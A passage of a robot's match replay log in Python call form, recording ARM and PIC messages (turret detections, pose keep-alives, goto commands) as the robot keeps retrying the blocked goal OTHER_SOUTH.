l(['161.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.16','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.21','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.26','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.28','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.33','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.38','PIC',KeepAlive(current_pose = Pose(1.36318707466, 2.07303929329, 1.47834408283), match_started = True, match_time = 81290)])
l(['161.38','ARM',KeepAlive(current_pose = Pose(1.36318707466, 2.07303929329, 1.47834408283), match_started = True, match_time = 81290)])
l(['161.38','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.40','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.45','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.50','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.52','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.57','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.59','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36321091652, 2.07329845428, 1.47949385643), current_point_index = 1)])
l(['161.60','ARM','# Poping sub-state TrajectoryWalk'])
l(['161.60','ARM','# Pushing sub-state Antiblocking'])
l(['161.60','ARM',DisableAntiBlocking()])
l(['161.60','PIC',DisableAntiBlocking()])
l(['161.60','ARM','# Poping sub-state Antiblocking'])
l(['161.60','ARM','# Poping sub-state Sequence'])
l(['161.60','ARM','# Poping sub-state Navigate'])
l(['161.60','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['161.60','ARM','# Switching to state FindNextGoal'])
l(['161.60','ARM','# Calling GoalManager'])
l(['161.60','ARM','# Evaluate goal OTHER_SOUTH'])
l(['161.63','ARM','# Evaluate goal OTHER_SOUTH'])
l(['161.63','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['161.63','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['161.63','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['161.63','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['161.63','ARM','# Next goal is OTHER_SOUTH'])
l(['161.63','ARM','# Time taken for decision taking 27.076 ms'])
l(['161.63','ARM','# Pushing sub-state Navigate'])
l(['161.63','ARM','# Compute route from (1.36321091652, 2.07329845428) to (1.414, 0.86)'])
l(['161.63','ARM','# Add opponent zone at 1.12816521499 1.57578209075'])
l(['161.92','ARM','# Route computed. Length: 1.21436101311, Cost: 49.2143610131'])
l(['161.92','ARM','# Pushing sub-state Sequence'])
l(['161.93','ARM','# Pushing sub-state Antiblocking'])
l(['161.93','ARM',EnableAntiBlocking()])
l(['161.93','PIC',KeepAlive(current_pose = Pose(1.36321687698, 2.07336401939, 1.47978794575), match_started = True, match_time = 81540)])
l(['161.93','ARM',KeepAlive(current_pose = Pose(1.36321687698, 2.07336401939, 1.47978794575), match_started = True, match_time = 81540)])
l(['161.93','PIC',KeepAlive(current_pose = Pose(1.36321663857, 2.07336091995, 1.47976124287), match_started = True, match_time = 81790)])
l(['161.94','PIC',EnableAntiBlocking()])
l(['161.94','ARM','# Poping sub-state Antiblocking'])
l(['161.94','ARM','# Pushing sub-state TrajectoryWalk'])
l(['161.94','ARM',Goto(movement = 0, direction = 1, angle = 1.61262538121, points = [])])
l(['161.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.94','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.95','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.95','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.95','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.95','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.96','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.96','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.96','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.96','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.96','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.96','PIC',GotoStarted()])
l(['161.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.00','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.05','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.10','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.12','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.13','PIC',KeepAlive(current_pose = Pose(1.3632171154, 2.07336711884, 1.47976124287), match_started = True, match_time = 82040)])
l(['162.13','ARM',KeepAlive(current_pose = Pose(1.3632171154, 2.07336711884, 1.47976124287), match_started = True, match_time = 82040)])
l(['162.17','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.24','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.29','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.36','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.38','PIC',KeepAlive(current_pose = Pose(1.36321878433, 2.07338571548, 1.47986805439), match_started = True, match_time = 82290)])
l(['162.38','ARM',KeepAlive(current_pose = Pose(1.36321878433, 2.07338571548, 1.47986805439), match_started = True, match_time = 82290)])
l(['162.41','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.47','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36324179173, 2.07363915443, 1.48096430302), current_point_index = 1)])
l(['162.47','ARM','# Poping sub-state TrajectoryWalk'])
l(['162.47','ARM','# Pushing sub-state Antiblocking'])
l(['162.47','ARM',DisableAntiBlocking()])
l(['162.47','PIC',DisableAntiBlocking()])
l(['162.47','ARM','# Poping sub-state Antiblocking'])
l(['162.47','ARM','# Poping sub-state Sequence'])
l(['162.47','ARM','# Poping sub-state Navigate'])
l(['162.47','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['162.47','ARM','# Switching to state FindNextGoal'])
l(['162.47','ARM','# Calling GoalManager'])
l(['162.47','ARM','# Evaluate goal OTHER_SOUTH'])
l(['162.50','ARM','# Evaluate goal OTHER_SOUTH'])
l(['162.50','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['162.50','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['162.50','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['162.50','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['162.50','ARM','# Next goal is OTHER_SOUTH'])
l(['162.50','ARM','# Time taken for decision taking 27.221 ms'])
l(['162.50','ARM','# Pushing sub-state Navigate'])
l(['162.50','ARM','# Compute route from (1.36324179173, 2.07363915443) to (1.414, 0.86)'])
l(['162.50','ARM','# Add opponent zone at 1.12895500312 1.57577092389'])
l(['162.80','ARM','# Route computed. Length: 1.21470012467, Cost: 49.2147001247'])
l(['162.80','ARM','# Pushing sub-state Sequence'])
l(['162.80','ARM','# Pushing sub-state Antiblocking'])
l(['162.80','ARM',EnableAntiBlocking()])
l(['162.80','PIC',KeepAlive(current_pose = Pose(1.36324858665, 2.07371425629, 1.48128521442), match_started = True, match_time = 82540)])
l(['162.81','ARM',KeepAlive(current_pose = Pose(1.36324858665, 2.07371425629, 1.48128521442), match_started = True, match_time = 82540)])
l(['162.81','PIC',EnableAntiBlocking()])
l(['162.81','ARM','# Poping sub-state Antiblocking'])
l(['162.81','ARM','# Pushing sub-state TrajectoryWalk'])
l(['162.81','ARM',Goto(movement = 0, direction = 1, angle = 1.61258694152, points = [])])
l(['162.82','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.82','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.82','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.82','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.82','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.83','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.83','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.83','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.83','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.84','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.84','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.84','PIC',GotoStarted()])
l(['162.84','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['162.88','PIC',KeepAlive(current_pose = Pose(1.36324858665, 2.07371735573, 1.48125863075), match_started = True, match_time = 82790)])
l(['162.89','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['162.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['162.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['162.96','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.01','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.08','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.13','PIC',KeepAlive(current_pose = Pose(1.36324882507, 2.07372045517, 1.48128533363), match_started = True, match_time = 83040)])
l(['163.13','ARM',KeepAlive(current_pose = Pose(1.36324882507, 2.07372045517, 1.48128533363), match_started = True, match_time = 83040)])
l(['163.13','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.18','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.20','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.25','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.30','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.32','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.34','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36328470707, 2.07412695885, 1.48310339451), current_point_index = 1)])
l(['163.34','ARM','# Poping sub-state TrajectoryWalk'])
l(['163.34','ARM','# Pushing sub-state Antiblocking'])
l(['163.34','ARM',DisableAntiBlocking()])
l(['163.34','PIC',DisableAntiBlocking()])
l(['163.34','ARM','# Poping sub-state Antiblocking'])
l(['163.34','ARM','# Poping sub-state Sequence'])
l(['163.34','ARM','# Poping sub-state Navigate'])
l(['163.34','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['163.35','ARM','# Switching to state FindNextGoal'])
l(['163.35','ARM','# Calling GoalManager'])
l(['163.35','ARM','# Evaluate goal OTHER_SOUTH'])
l(['163.37','ARM','# Evaluate goal OTHER_SOUTH'])
l(['163.37','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['163.37','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['163.37','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['163.37','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['163.37','ARM','# Next goal is OTHER_SOUTH'])
l(['163.37','ARM','# Time taken for decision taking 27.186 ms'])
l(['163.37','ARM','# Pushing sub-state Navigate'])
l(['163.37','ARM','# Compute route from (1.36328470707, 2.07412695885) to (1.414, 0.86)'])
l(['163.38','ARM','# Add opponent zone at 1.12969053802 1.57577414627'])
l(['163.67','ARM','# Route computed. Length: 1.21518571138, Cost: 49.2151857114'])
l(['163.67','ARM','# Pushing sub-state Sequence'])
l(['163.67','ARM','# Pushing sub-state Antiblocking'])
l(['163.67','ARM',EnableAntiBlocking()])
l(['163.68','PIC',KeepAlive(current_pose = Pose(1.36329376698, 2.07423043251, 1.48355793953), match_started = True, match_time = 83290)])
l(['163.68','ARM',KeepAlive(current_pose = Pose(1.36329376698, 2.07423043251, 1.48355793953), match_started = True, match_time = 83290)])
l(['163.68','PIC',KeepAlive(current_pose = Pose(1.36329329014, 2.07422423363, 1.48350453377), match_started = True, match_time = 83540)])
l(['163.68','PIC',EnableAntiBlocking()])
l(['163.68','ARM','# Poping sub-state Antiblocking'])
l(['163.68','ARM','# Pushing sub-state TrajectoryWalk'])
l(['163.69','ARM',Goto(movement = 0, direction = 1, angle = 1.61253265743, points = [])])
l(['163.69','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.69','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.69','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.70','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.71','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.71','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.71','PIC',GotoStarted()])
l(['163.73','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.78','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.80','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.85','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['163.88','PIC',KeepAlive(current_pose = Pose(1.36329400539, 2.07423353195, 1.48353123665), match_started = True, match_time = 83790)])
l(['163.88','ARM',KeepAlive(current_pose = Pose(1.36329400539, 2.07423353195, 1.48353123665), match_started = True, match_time = 83790)])
l(['163.90','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['163.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['163.92','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['163.97','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.02','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.04','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.09','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.13','PIC',KeepAlive(current_pose = Pose(1.36330068111, 2.07431173325, 1.48387873173), match_started = True, match_time = 84040)])
l(['164.13','ARM',KeepAlive(current_pose = Pose(1.36330068111, 2.07431173325, 1.48387873173), match_started = True, match_time = 84040)])
l(['164.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.16','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.21','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.22','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36334037781, 2.07477211952, 1.48604440689), current_point_index = 1)])
l(['164.22','ARM','# Poping sub-state TrajectoryWalk'])
l(['164.22','ARM','# Pushing sub-state Antiblocking'])
l(['164.22','ARM',DisableAntiBlocking()])
l(['164.22','PIC',DisableAntiBlocking()])
l(['164.22','ARM','# Poping sub-state Antiblocking'])
l(['164.22','ARM','# Poping sub-state Sequence'])
l(['164.22','ARM','# Poping sub-state Navigate'])
l(['164.22','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['164.22','ARM','# Switching to state FindNextGoal'])
l(['164.22','ARM','# Calling GoalManager'])
l(['164.22','ARM','# Evaluate goal OTHER_SOUTH'])
l(['164.25','ARM','# Evaluate goal OTHER_SOUTH'])
l(['164.25','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['164.25','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['164.25','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['164.25','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['164.25','ARM','# Next goal is OTHER_SOUTH'])
l(['164.25','ARM','# Time taken for decision taking 27.121 ms'])
l(['164.25','ARM','# Pushing sub-state Navigate'])
l(['164.25','ARM','# Compute route from (1.36334037781, 2.07477211952) to (1.414, 0.86)'])
l(['164.25','ARM','# Add opponent zone at 1.13103455105 1.57576138993'])
l(['164.55','ARM','# Route computed. Length: 1.21582798935, Cost: 49.2158279894'])
l(['164.55','ARM','# Pushing sub-state Sequence'])
l(['164.55','ARM','# Pushing sub-state Antiblocking'])
l(['164.55','ARM',EnableAntiBlocking()])
l(['164.56','PIC',KeepAlive(current_pose = Pose(1.36335158348, 2.07490372658, 1.4866861105), match_started = True, match_time = 84290)])
l(['164.56','ARM',KeepAlive(current_pose = Pose(1.36335158348, 2.07490372658, 1.4866861105), match_started = True, match_time = 84290)])
l(['164.56','PIC',EnableAntiBlocking()])
l(['164.56','ARM','# Poping sub-state Antiblocking'])
l(['164.56','ARM','# Pushing sub-state TrajectoryWalk'])
l(['164.56','ARM',Goto(movement = 0, direction = 1, angle = 1.61246144295, points = [])])
l(['164.57','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.57','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.57','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.57','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.57','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.57','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.58','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.58','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.58','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.58','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.59','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.59','PIC',GotoStarted()])
l(['164.62','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.63','PIC',KeepAlive(current_pose = Pose(1.36335158348, 2.07490372658, 1.4866861105), match_started = True, match_time = 84540)])
l(['164.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.64','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.69','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.74','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.76','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.81','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.86','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['164.88','PIC',KeepAlive(current_pose = Pose(1.36335229874, 2.0749130249, 1.48671293259), match_started = True, match_time = 84790)])
l(['164.88','ARM',KeepAlive(current_pose = Pose(1.36335229874, 2.0749130249, 1.48671293259), match_started = True, match_time = 84790)])
l(['164.88','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['164.93','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['164.98','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['164.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.00','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.05','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.09','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36339044571, 2.07537341118, 1.48898553848), current_point_index = 1)])
l(['165.09','ARM','# Poping sub-state TrajectoryWalk'])
l(['165.09','ARM','# Pushing sub-state Antiblocking'])
l(['165.09','ARM',DisableAntiBlocking()])
l(['165.09','PIC',DisableAntiBlocking()])
l(['165.09','ARM','# Poping sub-state Antiblocking'])
l(['165.09','ARM','# Poping sub-state Sequence'])
l(['165.10','ARM','# Poping sub-state Navigate'])
l(['165.10','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['165.10','ARM','# Switching to state FindNextGoal'])
l(['165.10','ARM','# Calling GoalManager'])
l(['165.10','ARM','# Evaluate goal OTHER_SOUTH'])
l(['165.12','ARM','# Evaluate goal OTHER_SOUTH'])
l(['165.12','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['165.12','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['165.12','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['165.13','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['165.13','ARM','# Next goal is OTHER_SOUTH'])
l(['165.13','ARM','# Time taken for decision taking 28.524 ms'])
l(['165.13','ARM','# Pushing sub-state Navigate'])
l(['165.13','ARM','# Compute route from (1.36339044571, 2.07537341118) to (1.414, 0.86)'])
l(['165.13','ARM','# Add opponent zone at 1.13250009145 1.57570639595'])
l(['165.42','ARM','# Route computed. Length: 1.21642667497, Cost: 49.216426675'])
l(['165.43','ARM','# Pushing sub-state Sequence'])
l(['165.43','ARM','# Pushing sub-state Antiblocking'])
l(['165.43','ARM',EnableAntiBlocking()])
l(['165.43','PIC',KeepAlive(current_pose = Pose(1.36340093613, 2.07550191879, 1.48965394497), match_started = True, match_time = 85040)])
l(['165.43','ARM',KeepAlive(current_pose = Pose(1.36340093613, 2.07550191879, 1.48965394497), match_started = True, match_time = 85040)])
l(['165.43','PIC',KeepAlive(current_pose = Pose(1.36340045929, 2.07549571991, 1.48960042), match_started = True, match_time = 85290)])
l(['165.44','PIC',EnableAntiBlocking()])
l(['165.44','ARM','# Poping sub-state Antiblocking'])
l(['165.44','ARM','# Pushing sub-state TrajectoryWalk'])
l(['165.44','ARM',Goto(movement = 0, direction = 1, angle = 1.61240103292, points = [])])
l(['165.44','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.45','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.46','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.46','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.46','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.46','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.47','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.47','PIC',GotoStarted()])
l(['165.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.48','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.53','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.60','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.63','PIC',KeepAlive(current_pose = Pose(1.36340117455, 2.07550501823, 1.48962712288), match_started = True, match_time = 85540)])
l(['165.63','ARM',KeepAlive(current_pose = Pose(1.36340117455, 2.07550501823, 1.48962712288), match_started = True, match_time = 85540)])
l(['165.65','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.72','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.77','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.84','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.88','PIC',KeepAlive(current_pose = Pose(1.36341893673, 2.07572698593, 1.49072337151), match_started = True, match_time = 85790)])
l(['165.88','ARM',KeepAlive(current_pose = Pose(1.36341893673, 2.07572698593, 1.49072337151), match_started = True, match_time = 85790)])
l(['165.89','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['165.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['165.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['165.96','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['165.97','PIC',GotoFinished(reason = 1, current_pose = Pose(1.36346912384, 2.0763630867, 1.49379813671), current_point_index = 1)])
l(['165.97','ARM','# Poping sub-state TrajectoryWalk'])
l(['165.97','ARM','# Pushing sub-state Antiblocking'])
l(['165.97','ARM',DisableAntiBlocking()])
l(['165.97','PIC',DisableAntiBlocking()])
l(['165.97','ARM','# Poping sub-state Antiblocking'])
l(['165.97','ARM','# Poping sub-state Sequence'])
l(['165.97','ARM','# Poping sub-state Navigate'])
l(['165.97','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['165.97','ARM','# Switching to state FindNextGoal'])
l(['165.97','ARM','# Calling GoalManager'])
l(['165.97','ARM','# Evaluate goal OTHER_SOUTH'])
l(['166.00','ARM','# Evaluate goal OTHER_SOUTH'])
l(['166.00','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['166.00','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['166.00','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['166.00','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['166.00','ARM','# Next goal is OTHER_SOUTH'])
l(['166.00','ARM','# Time taken for decision taking 27.139 ms'])
l(['166.00','ARM','# Pushing sub-state Navigate'])
l(['166.00','ARM','# Compute route from (1.36346912384, 2.0763630867) to (1.414, 0.86)'])
l(['166.00','ARM','# Add opponent zone at 1.13457061824 1.5755985553'])
l(['166.30','ARM','# Route computed. Length: 1.21741222605, Cost: 49.217412226'])
l(['166.30','ARM','# Pushing sub-state Sequence'])
l(['166.30','ARM','# Pushing sub-state Antiblocking'])
l(['166.30','ARM',EnableAntiBlocking()])
l(['166.31','PIC',KeepAlive(current_pose = Pose(1.36348497868, 2.07656979561, 1.49476075172), match_started = True, match_time = 86040)])
l(['166.31','ARM',KeepAlive(current_pose = Pose(1.36348497868, 2.07656979561, 1.49476075172), match_started = True, match_time = 86040)])
l(['166.31','PIC',EnableAntiBlocking()])
l(['166.31','ARM','# Poping sub-state Antiblocking'])
l(['166.31','ARM','# Pushing sub-state TrajectoryWalk'])
l(['166.31','ARM',Goto(movement = 0, direction = 1, angle = 1.61229498985, points = [])])
l(['166.32','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.32','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.32','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.32','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.32','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['166.33','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['166.33','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['166.33','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['166.33','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
